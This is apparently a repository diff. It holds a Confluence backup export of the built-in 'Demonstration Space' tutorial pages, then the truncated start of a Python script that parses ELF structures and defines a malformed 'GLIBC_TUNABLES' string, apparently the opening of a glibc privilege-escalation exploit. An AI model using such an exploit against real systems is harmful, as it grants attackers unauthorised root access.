<property name="body"><![CDATA[<p><span style="color: rgb(64,64,64);"><br /></span></p><p><span style="color: rgb(64,64,64);">Once you've created content you'll want to share it with your team members. <br /></span><span style="color: rgb(64,64,64);">Confluence can do all the work for you, just click the <strong>Share</strong> button.<br /></span></p><p style="margin-left: 30.0px;"><span style="color: rgb(64,64,64);"><span style="color: rgb(64,64,64);"><br /></span></span></p><ol><li>Let's tell someone about this page. <br />Click the <strong>Share</strong> button at the top right of the page. It looks like this:<br /><br /><ac:image ac:width="379"><ri:attachment ri:filename="step09-01.png" /></ac:image><br /> </li><li>Type the name of the person or group you want to share the page with. <br />You can also enter an email address. <br /><br /></li><li>Add a message to give the person some background about the page.<br /><br /></li><li>Click the <strong>Share</strong> button. <br />Confluence will send the person an email message about this page. Shared!</li></ol><p> </p><p><img class="emoticon emoticon-warning" title="(warning)" src="http://localhost:8090/s/en_GB/7502/10587128b0de2a71f82b5acc129b8b5611829c93/_/images/icons/emoticons/warning.png" alt="(warning)" border="0" /><span style="color: rgb(64,64,64);"> If your administrator has not added a mail server, the </span><strong>Share</strong><span style="color: rgb(64,64,64);"> button will only show the share link.<br /></span></p><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="Tell people what you think in a comment (step 8 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> </span></h1><p style="margin-left: 30.0px;"><span style="color: rgb(51,51,51);"><br /></span></p>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163846</id>
|
||||
<property name="body"><![CDATA[<ac:layout><ac:layout-section ac:type="single"><ac:layout-cell><p style="margin-left: 60.0px;"><br /></p><p>Insert tables with drag and drop simplicity. <br />Add, remove, cut, and paste rows and columns – this makes working with tables easy. <br /> </p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="two_right_sidebar"><ac:layout-cell><ol><li><span style="color: rgb(51,51,51);"><strong>Edit</strong> the page.<br /> <br /></span></li><li><span style="color: rgb(51,51,51);">Click in the right-hand column to position your cursor.<br /> <br /></span></li><li>Click the <strong>Table</strong> menu on the toolbar and drag to choose the size of your table. <br /><br /><ac:image ac:thumbnail="true" ac:width="225"><ri:attachment ri:filename="step05-01.png" /></ac:image><br /> </li><li>The table toolbar appears when there is table on your page.<br /><br /></li><li>Place your cursor in the first cell of the table and add a row below it.<br /><br /><ac:image ac:thumbnail="true" ac:width="160"><ri:attachment ri:filename="step05-03.png" /></ac:image><br /><br /></li><li>Place your cursor in any cell of the last column of the table and delete the column.<br /><br /><ac:image ac:thumbnail="true" ac:width="160"><ri:attachment ri:filename="step05-04.png" /></ac:image><br /> </li><li>Grab one of the column borders and drag to resize the column.<br /><br /></li><li><span style="line-height: 1.42857;">Click </span><strong style="line-height: 1.42857;">Update </strong><span style="line-height: 1.42857;">to publish your changes to the page.</span></li></ol></ac:layout-cell><ac:layout-cell><p><br /></p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="single"><ac:layout-cell><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="Prettify the page with an image (step 4 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Lay out your page (step 6 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></span></h1></ac:layout-cell></ac:layout-section></ac:layout>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163847</id>
|
||||
<property name="body"><![CDATA[<p><br />You can start a discussion by simply leaving a comment on a page, like this one.</p><p>Why not give it a try?</p><p>Go to the bottom of this page and start typing in the comment area. When you're finished just press save! </p><p>Don't just confine your comments to the bottom of the page - highlight some text on the page to add an inline comment like this:</p><p><br /></p><p><ac:image ac:width="417"><ri:attachment ri:filename="Step8-01.png" /></ac:image></p><p><br /></p><p><strong>Hint:</strong> You can mention another user in a page or comment by typing @ and then the user's name. <br />The user will be notified that you mentioned them.</p><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><ac:link><ri:page ri:content-title="Learn the wonders of autoconvert (step 7 of 9)" /><ac:link-body><ac:image ac:height="40" ac:width="106"><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Share your page with a team member (step 9 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></h1><p><span style="color: rgb(51,51,51);"><br /></span></p>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163848</id>
|
||||
<property name="body"><![CDATA[<p>Page layouts provide structure in your page — two-column, three-column, and more — making it easy for anyone to create beautiful pages.</p><p> </p><ol><li><span style="color: rgb(51,51,51);"><strong>Edit</strong> the page.<br /> </span></li><li><span style="color: rgb(51,51,51);">Click the <strong>Page Layout</strong></span> button in the editor toolbar. It looks like this:<br /><br /><ac:image ac:thumbnail="true" ac:width="160"><ri:attachment ri:filename="step06-image01.png" /></ac:image><br /><span style="color: rgb(51,51,51);"><br /> </span>A section is added to your page, dotted lines indicate the section boundaries. <br /> </li><li>Choose a <strong>column layout</strong> to apply to your section, for example two columns. <br /><br /><ac:image ac:width="308"><ri:attachment ri:filename="step06-image02.png" /></ac:image> <br /> </li><li><span style="color: rgb(51,51,51);">Click the <strong>Add section</strong> button to add another section to the page. <br /><br /><ac:image ac:width="385"><ri:attachment ri:filename="step06-image03.png" /></ac:image><br /> </span></li><li><span style="color: rgb(51,51,51);">Choose a different <strong>column layout</strong> for this section. <br /><br /></span></li><li>Click <strong>Update </strong>to publish your changes to the page.</li></ol><p><span>You can add as many sections as you need, and each section can have a different column layout. </span></p><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="Get serious with a table (step 5 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Learn the wonders of autoconvert (step 7 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></span></h1>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163849</id>
|
||||
<property name="body"><![CDATA[<p><br /></p><p>Let's start with the editor. You'll use the Confluence editor to <strong>create</strong> and <strong>edit</strong> pages.<br />You can type in the editor as you would in any document, apply formatting, and embed other content and files into the page.</p><p>The editor looks like this <span style="color: rgb(153,153,153);">(click images for a larger view)</span>:</p><p><br /></p><p><ac:image ac:width="511"><ri:attachment ri:filename="step-2-image-1.png" /></ac:image></p><p><br /></p><p><span>Here is a description of the components:</span></p><ol><li><h4><span style="color: rgb(0,0,0);">Editor toolbar</span></h4><span style="color: rgb(51,51,51);">The editor toolbar provides tools to format and color page content, create lists and tables, indent and align text, and insert other content into the page such as symbols, links, images, multimedia files, and macros.<br /><br /></span><ac:image ac:width="870"><ri:attachment ri:filename="step-2-image-3.png" /></ac:image><br /><br /></li><li><h4><span style="color: rgb(0,0,0);">Page content</span></h4><span style="color: rgb(51,51,51);">This is where you and your team will type the content for your page. You can also drag attachments from your desktop here.<br /></span>If other people are editing the page at the same time, you'll see their changes in real time! <br /><br /><br /></li><li><h4><span style="color: rgb(0,0,0);">Publish or close</span></h4><span style="color: rgb(0,0,0);">We're saving all the time in the editor. Once you're ready, hit <strong>publish</strong> to publish your page so others can see the changes, or <strong>close</strong> to finish editing later.<br /><br /><ac:image ac:width="800"><ri:attachment ri:filename="step-2-image-5.png" /></ac:image></span><br /><br /></li></ol><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="What is Confluence? (step 1 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></span></h1><p><span style="color: rgb(51,51,51);"><br /></span></p>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163850</id>
|
||||
<property name="body"><![CDATA[<ac:layout><ac:layout-section ac:type="single"><ac:layout-cell><p style="margin-left: 60.0px;"> </p><p><span style="color: rgb(51,51,51);">The Confluence editor helps you create content, fast. </span><span style="color: rgb(51,51,51);">You can embed images, Office documents, and even videos. <br />That's just the tip of the iceberg when it comes to creating useful content for your team. <br /> </span></p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="two_right_sidebar"><ac:layout-cell><ol><li style="text-align: left;"><strong>Edit</strong> the page.<br /><br /></li><li style="text-align: left;">Click in the right-hand column to position your cursor.<br /><br /></li><li style="text-align: left;">Click <strong style="text-align: left;">Files</strong> on the editor toolbar. It looks like this:<br /><br /><ac:image ac:width="301"><ri:attachment ri:filename="step04-01.png" /></ac:image><br /> </li><li style="text-align: left;"><span>The Files dialog shows you the files attached to this page. <br />Select the image named <strong>Confluence Origami Necktie</strong>.<br /> <br /></span></li><li style="text-align: left;">Click <strong>Insert</strong>.<br /><br /></li><li style="text-align: left;"><span style="color: rgb(51,51,51);">You will return to this page, and see the 'Image Properties Panel'. If you don't see it, click the image.<br /> <br /></span></li><li style="text-align: left;"><span style="color: rgb(51,51,51);">Resize the image by clicking on the square buttons or entering a width.<br /><br /><ac:image ac:width="540"><ri:attachment ri:filename="step04-02.png" /></ac:image><br /> <br /></span><span style="color: rgb(51,51,51);"><br /></span></li><li style="text-align: left;"><span>Click <strong>Properties </strong>and then select the <strong>Curl Shadow</strong> option from the Image Effects dialog. <br /> <br /></span></li><li style="text-align: left;"><span style="color: rgb(51,51,51);">Your image should look like this when completed:<br /><ac:image ac:queryparams="effects=border-simple,shadow-kn" ac:thumbnail="true" ac:width="300"><ri:attachment ri:filename="Confluence-Origami-Necktie.jpeg" /></ac:image><br /> </span></li><li style="text-align: left;"><span style="line-height: 1.42857;">Click </span><strong style="line-height: 1.42857;">Update </strong><span style="line-height: 1.42857;">to publish your changes to the page.</span><br /><br /></li><li style="text-align: left;">View the image on the page, or click to preview the file.</li></ol><p style="text-align: left;">The Files button is not just for images, you can insert and preview a wide range of files, including Microsoft Office documents and PDFs.</p></ac:layout-cell><ac:layout-cell><p> </p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="single"><ac:layout-cell><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Get serious with a table (step 5 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></span></h1><p><span style="color: rgb(51,51,51);"><br /></span></p></ac:layout-cell></ac:layout-section></ac:layout>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163851</id>
|
||||
<property name="body"><![CDATA[]]></property>
|
||||
<property name="content" class="SpaceDescription" package="com.atlassian.confluence.spaces"><id name="id">98357</id>
|
||||
</property>
|
||||
<property name="bodyType">0</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163841</id>
|
||||
<property name="body"><![CDATA[<p style="margin-left: 60.0px;"> </p><p>Pages live in spaces. This page is in the 'Demonstration Space'. <br /> </p><p>Let's play with some content. Don't worry, you won't break anything:</p><ol><li>Click <strong>Edit</strong> at the top of this page. Now you're in the editor.<br /><br /></li><li>Type some words anywhere on the page.<br /><br /></li><li>Have some fun:<span style="line-height: 0.0px;"> </span></li></ol><ul><li style="list-style-type: none;"><ul><li>Change the color of the text: Select the text, then choose a color from the color option in the editor tool bar.<br /><br /></li><li>Add a link: Select some text, then choose the <strong>Link</strong> button on the toolbar.<br />Click <strong>Web Link</strong> and enter an <strong>Address</strong>, such as <code>http://www.atlassian.com</code>. <br />Click <strong>Insert</strong> to insert the link.<br /><br /></li><li>Find a file or picture on your computer, and drag it anywhere on this page.<br /><br /></li><li>Try some of the other options on the editor toolbar.</li></ul></li></ul><p>When<em> y</em>ou're ready, click <strong>Update</strong> to publish your changes then<strong> </strong>and go to the next step or back to the space home.</p><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="A quick look at the editor (step 2 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg" /></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg" /></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Prettify the page with an image (step 4 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg" /></ac:image></ac:link-body></ac:link></span></h1><p> </p>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163842</id>
|
||||
<property name="body"><![CDATA[<p style="text-align: center;"> </p><h2><ac:image><ri:attachment ri:filename="welcome.png" /></ac:image><br /> <span style="color: rgb(128,128,128);">With Confluence it is easy to create, edit and share content with your team. <br /> Choose a topic below to start learning how.</span></h2><h2><span style="color: rgb(0,0,128);"><br /></span></h2><ol><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="What is Confluence? (step 1 of 9)" /><ac:link-body>What is Confluence?<br /><br /></ac:link-body></ac:link></span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="A quick look at the editor (step 2 of 9)" /><ac:plain-text-link-body><![CDATA[A quick look at the editor]] ></ac:plain-text-link-body></ac:link><br /> </span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /><ac:plain-text-link-body><![CDATA[Let's edit this page]] ></ac:plain-text-link-body></ac:link><br /><br /></span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="Prettify the page with an image (step 4 of 9)" /><ac:link-body>Prettify the page with an image<br /><br /></ac:link-body></ac:link></span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="Get serious with a table (step 5 of 9)" /><ac:link-body>Get serious with a table<br /></ac:link-body></ac:link></span><span style="color: rgb(0,0,128);"> </span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="Lay out your page (step 6 of 9)" /><ac:plain-text-link-body><![CDATA[Lay out your page]] ></ac:plain-text-link-body></ac:link> <br /><br /></span></li><li><ac:link><ri:page ri:content-title="Learn the wonders of autoconvert (step 7 of 9)" /><ac:plain-text-link-body><![CDATA[Learn the wonders of autoconvert]] ></ac:plain-text-link-body></ac:link> <br /><br /></li><li><ac:link><ri:page ri:content-title="Tell people what you think in a comment (step 8 of 9)" /><ac:plain-text-link-body><![CDATA[Tell people what you think in a comment]] ></ac:plain-text-link-body></ac:link> <br /><br /></li><li><ac:link><ri:page ri:content-title="Share your page with a team member (step 9 of 9)" /><ac:plain-text-link-body><![CDATA[Share your page with a team member]] ></ac:plain-text-link-body></ac:link></li></ol><p><span style="color: rgb(128,128,128);"><br /></span></p><p><span style="color: rgb(128,128,128);"><br /></span></p><p><span style="color: rgb(128,128,128);"><br /></span></p><p><span style="color: rgb(128,128,128);"><br /></span></p><p><span style="color: rgb(128,128,128);"><br /></span></p><p style="text-align: right;"> </p>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163843</id>
|
||||
<property name="body"><![CDATA[<p style="margin-left: 60.0px;"> </p><p><strong>Confluence</strong> is where you can create, organize and discuss work with your team. <br />Use Confluence for meeting notes, project plans, requirements, sprint planning, how-to guides, or anything you like.</p><p>Click the <strong>Create</strong> button on the header to see some of the types of pages you can create.</p><p>A Confluence page can contain text, images, diagrams, activity streams, videos, and more. <br />Confluence puts your content online in a central place where your team can search, edit and discuss it at any time. <span><span style="color: rgb(0,0,0);"> </span></span></p><p><span><span style="color: rgb(0,0,0);">So let's try it!<span style="color: rgb(0,0,255);"> <ac:link><ri:page ri:content-title="A quick look at the editor (step 2 of 9)" /><ac:plain-text-link-body><![CDATA[Click here to learn how to edit a page]] ></ac:plain-text-link-body></ac:link></span> </span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"> </span></span></p><h1 style="text-align: center;"><ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="A quick look at the editor (step 2 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></h1><p><span style="color: rgb(51,51,51);"><br /></span></p><p><span style="color: rgb(51,51,51);"><br /></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="Space" package="com.atlassian.confluence.spaces">
|
||||
<id name="id">131073</id>
|
||||
<property name="name"><![CDATA[Demonstration Space]]></property>
|
||||
<property name="key"><![CDATA[ds]]></property>
|
||||
<property name="lowerKey"><![CDATA[ds]]></property>
|
||||
<property name="description" class="SpaceDescription" package="com.atlassian.confluence.spaces"><id name="id">98357</id>
|
||||
</property>
|
||||
<property name="homePage" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="permissions" class="java.util.Collection"><element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458761</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458762</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458763</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458764</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458765</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458766</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458767</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458768</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458769</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458770</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458771</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458772</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458773</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458774</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458775</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458776</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458777</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458778</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458779</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458780</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458781</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458782</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458783</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458784</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458785</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458786</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458787</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458788</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458789</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458790</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458791</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458792</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458793</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458794</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458795</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458796</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458797</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458798</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458799</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="creationDate">2020-04-14 11:55:11.912</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="spaceType">global</property>
|
||||
<property name="spaceStatus" enum-class="SpaceStatus" package="com.atlassian.confluence.spaces">CURRENT</property>
|
||||
</object>
|
||||
</hibernate-generic>
|
||||
@@ -0,0 +1,14 @@
|
||||
#Thu Nov 09 06:05:19 UTC 2023
|
||||
ao.data.version.min.com.atlassian.mywork.mywork-confluence-host-plugin=1.1.30
|
||||
ao.data.version.com.atlassian.mywork.mywork-confluence-host-plugin=8.3.8
|
||||
createdByVersionNumber=7.19.12
|
||||
supportEntitlementNumber=SEN-L1699509489567
|
||||
source=server
|
||||
buildNumber=8506
|
||||
ao.data.list=com.atlassian.mywork.mywork-confluence-host-plugin, com.atlassian.confluence.plugins.confluence-space-ia
|
||||
ao.data.version.min.com.atlassian.confluence.plugins.confluence-space-ia=5.0
|
||||
defaultUsersGroup=confluence-users
|
||||
ao.data.version.com.atlassian.confluence.plugins.confluence-space-ia=17.19.9
|
||||
exportType=all
|
||||
createdByBuildNumber=8804
|
||||
backupAttachments=true
|
||||
@@ -0,0 +1,312 @@
|
||||
import binascii
|
||||
import os
|
||||
import resource
|
||||
import time
|
||||
import struct
|
||||
import sys
|
||||
|
||||
from ctypes import *
|
||||
from ctypes.util import find_library
|
||||
from shutil import which
|
||||
|
||||
TUNABLES_MISCONFIG = b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging="
|
||||
STRING_TABLE_INDEX = "shstrndx"
|
||||
NUMBER_OF_ENTRIES = "shnum"
|
||||
ENTRY_SIZE = "shentsize"
|
||||
ENTRY_KEYS = "name type flags addr offset size link info addralign entsize"
|
||||
HEADER_ENTRY_FORMAT_64_BIT = "<LLQQQQLLQQ"
|
||||
HEADER_ENTRY_FORMAT_32_BIT = "<LLLLLLLLLL"
|
||||
GNU_BUILD_ID = ".note.gnu.build-id"
|
||||
LIBC_START_MAIN = "__libc_start_main"
|
||||
DYNAMIC_SYMBOL = ".dynsym"
|
||||
DYNAMIC_STRING = ".dynstr"
|
||||
SYMBOL_STRUCTURE_KEYS_64_BIT = "name info other shndx value size"
|
||||
SYMBOL_STRUCTURE_FORMAT_64_BIT = "<LBBHQQ"
|
||||
SYMBOL_STRUCTURE_KEYS_32_BIT = "name value size info other shndx"
|
||||
SYMBOL_STRUCTURE_FORMAT_32_BIT = "<LLLBBH"
|
||||
ELF_HEADER_KEYS = f"type machine version entry phoff shoff flags ehsize phtentsize phnum {ENTRY_SIZE} {NUMBER_OF_ENTRIES} {STRING_TABLE_INDEX}"
|
||||
ELF_ENTRY_FORMAT_64_BIT = "<HHLQQQLHHHHHH"
|
||||
ELF_ENTRY_FORMAT_32_BIT = "<HHLLLLLHHHHHH"
|
||||
|
||||
